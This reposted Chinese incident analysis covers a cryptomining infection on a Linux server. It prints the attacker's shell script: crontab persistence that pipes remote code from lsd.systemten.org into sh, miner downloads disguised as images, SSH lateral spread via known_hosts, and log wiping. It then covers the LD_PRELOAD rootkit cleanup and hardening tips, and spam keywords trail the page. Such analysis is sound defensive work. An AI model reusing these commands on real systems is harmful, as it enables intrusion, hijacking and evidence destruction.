安基網 首頁 安全 取證分析 查看內容

一起挖礦病毒事件的深度分析

2020-6-6 12:23| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 起因朋友公司遇到了一起挖礦病毒事件,找我幫忙看看。入侵分析基本信息檢查當我登錄服務器做檢測時,top回顯并未發現異常進程:但是在crontab中發現一條異常的定時任務:通過訪問定時任務中的url,發現是一個shell腳本(目前已被黑客刪除):腳本分析有了攻擊腳本的話,我們就能更加快速的了解他的攻擊 ...

起因

朋友公司遇到了一起挖礦病毒事件,找我幫忙看看。

入侵分析

基本信息檢查

當我登錄服務器做檢測時,top回顯并未發現異常進程:

但是在crontab中發現一條異常的定時任務:

通過訪問定時任務中的url,發現是一個shell腳本(目前已被黑客刪除):

腳本分析

有了攻擊腳本的話,我們就能更加快速的了解他的攻擊方式了,所以讓我們來分析下腳本到底干了些什么:

創建定時任務,不斷檢測,確保不被刪除

echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -
cat > /etc/crontab <SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
EOF

果然是黑客,領土意識就是比一般人強,第二步就是檢測主機上是否存在其他的挖礦病毒,有的話直接干掉

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9

開始下載挖礦木馬了,黑客事先已經將木馬文件上傳到一些圖片分享網站,通過腳本將木馬下載到特定目錄下并修改文件名,添加執行權限并啟動

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
chattr -i sshd
rm -rf sshd
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "32x" ]; then
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -O sshd)
else
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -O sshd)
fi
fi
chmod +x sshd
$(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd

黑客當然不滿足占領一臺主機,所以腳本會遍歷root,/home/*目錄下的所有.ssh文件,嘗試橫向轉播,擴大戰果

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
fi
done

最后就是常規的毀尸滅跡了(這個方法有點糙。。。)

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

再次排查

我們先把crontab進程關閉,防止排查過程中不斷的執行從而干擾排查工作。然后將定時任務注釋或刪除:

回到剛開始排查是的情況,為什么我們在top回顯中一條異常信息都看不到呢?我又在主機上搜索了下腳本中提到的sshd木馬:

ps和netstat命令都看不到sshd的進程信息,這個信息說明sshd是一個帶有隱藏信息的rootkit,netstat中能顯示端口信息但是無法顯示進程信息所以能確定,這并不是一個內核級別的rootkit(為毛我有點高興又有點失望呢。。。),所以這只是一個用戶態的malware。用戶態的malware方式無非就是:

1.通過替換系統中常見的進程查看工具(比如ps、top、lsof)的二進制程序,導致原先查看進程相關信息的工具(ps、top、lsof等)都被調包;

2.通過劫持getdents 等系統調用函數或libc中的readdir 函數,實現對特定進程名進程的隱藏,以達到進程隱藏目的;

3.在惡意代碼中通過設置具有迷惑性的進程名字,以達到躲避管理員檢查的目的;

4.利用mount —bind 將另外一個目錄掛載覆蓋至/proc/目錄下指定進程ID的目錄,我們知道ps、top等工具會讀取/proc目錄下獲取進程信息,如果將進程ID的目錄信息覆蓋,則原來的進程信息將從ps的輸出結果中隱匿;

我將一臺正常主機的ps和netstat命令拷到本機進行測試發現還是無法看到sshd:

mounts中也沒有看到異常的掛載:

那基本能確認是動態庫劫持導致的隱藏,現在我們就要用到一個神器了—”busybox“,busybox具有系統通用的命令,而且運行的時候是通過靜態庫調用,詳細信息大家可以點擊鏈接去了解。通過busybox,我們終于看到了那些潛伏的進程:

先干掉{sshd} [kthreadd]進程,然后干掉/usr/local/sbin/havegeds,因為sshd才是主進程,不先干掉sshd的話,它會不斷檢測拉起挖礦病毒,然后通過yum命令remove原來的openssh-server,然后重新安裝openssh-server服務。

但是我們現在通過netstat和ps命令來查看進程時,還是無法看到sshd等進程,這是因為我們之前的動態庫hook問題還沒有解決。我們通過strace命令來看下命令執行時的系統庫調用情況:

在ps命令執行時,優先加載了ld.so.preload中設置的libboost_timed.so動態庫,可以看出黑客是通過利用LD_PRELOAD加載惡意動態鏈接庫達到隱藏的目的,到該動態庫下通過busybox ls命令查看,發現那個惡意動態庫文件

將此惡意動態庫文件移除后,終于重現sshd進程了:

對libboost_timed.so文件進行簡單的逆向后,發現它還會對多個文件進行修改:

到/var/spool/cron/目錄下將兩個root文件都刪除了,突然想了下,他是不是還在開機啟動項里面留了后門呢,所以立馬cd到/etc/init.d/目錄下看了下,果然發現了:

立馬rm了。最后我們將一開始寫入的crontab任務都刪除,到現在為止本機上的挖礦病毒算排查完成了。

安全防護

1.SSH:

① 謹慎做免密登錄

② 盡量不使用默認的22端口

③ 增強root密碼強度

2.有很多挖礦病毒是通過Redis未認證接口進行攻擊的,所以建議使用redis的同學做以下加固:① 增加授權認證(requirepass參數)② 盡量使用docker版本(docker pull redis)③ 隱藏重要的命令

3.不要安裝來源不明的軟件,不管是在個人pc還是在測試服務器上!!!

作者:Gh0stWa1ker

來源:https://www.freebuf.com/articles/system/234492.html



小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/i6833578662130876940/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋

相關閱讀

最新評論

 最新
返回頂部
创业如何赚钱 双面盘对打 股市行情京东方 福建快三下载安卓版 特变电工股票 福建快3开奖结果多少钱 北京快三骗局揭秘内部人员 车pk10官网开奖记录 熊猫腾讯分分彩计划在线 甘肃11选五中奖规则 股票分析师电影 河北11选五助手 股票融资杠杆最高几倍 陕西十一选五分布一定牛走势图 甘肃11选5任选5中3 炒股培训 一分快三亚博系统